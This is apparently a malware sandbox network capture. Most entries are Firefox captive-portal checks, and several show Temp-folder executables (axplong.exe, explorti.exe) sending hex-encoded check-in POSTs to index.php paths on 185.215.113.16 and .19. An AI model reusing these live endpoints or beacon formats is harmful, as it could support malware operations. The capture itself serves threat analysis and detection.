Jul 27, 2024 03:20:53.923110962 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54281 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:54.032063961 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:54.131956100 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54282 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:21:00.561662912 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:21:00.659467936 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54288 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:21:03.696511030 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:21:03.794745922 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54291 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:21:05.887011051 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:21:05.985030890 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54293 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:21:15.994050026 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 03:21:26.034830093 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 03:21:36.042717934 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 03:21:46.057102919 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49834	34.107.221.82	80	5236	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:29.242553949 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:29.710405111 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3766 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:33.061079025 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:33.159893990 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3770 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:41.929091930 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:42.034383059 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3778 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:48.208987951 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:48.308307886 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3785 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:48.480663061 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:48.582381964 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3785 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:49.198647022 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:49.297847033 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3786 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:52.623756886 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:52.739238024 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3789 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:53.151536942 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:53.250515938 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3790 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:53.454420090 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:53.554632902 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3790 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:53.661236048 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:53.762217999 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3790 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:53.927464962 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:54.025753975 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3790 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:54.135174036 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:54.234002113 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3791 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:21:00.664625883 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:21:00.767790079 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3797 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:21:03.798968077 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:21:03.898195028 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3800 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:21:05.989692926 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:21:06.088783979 CEST	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 3803 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:21:16.094228029 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 03:21:26.124418020 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 03:21:36.143800974 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 03:21:46.158222914 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49835	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:29.276664019 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:30.026554108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:30.029397964 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:30.277133942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49836	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:29.304888010 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:30.054555893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:30.055355072 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:30.301377058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49837	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:30.393145084 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:31.132381916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:31.133692980 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:31.379287004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49838	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:30.410605907 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:31.151046038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:31.156176090 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:31.408679008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49839	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:31.503313065 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:32.272593975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:32.274307966 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:32.535947084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49840	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:31.527723074 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
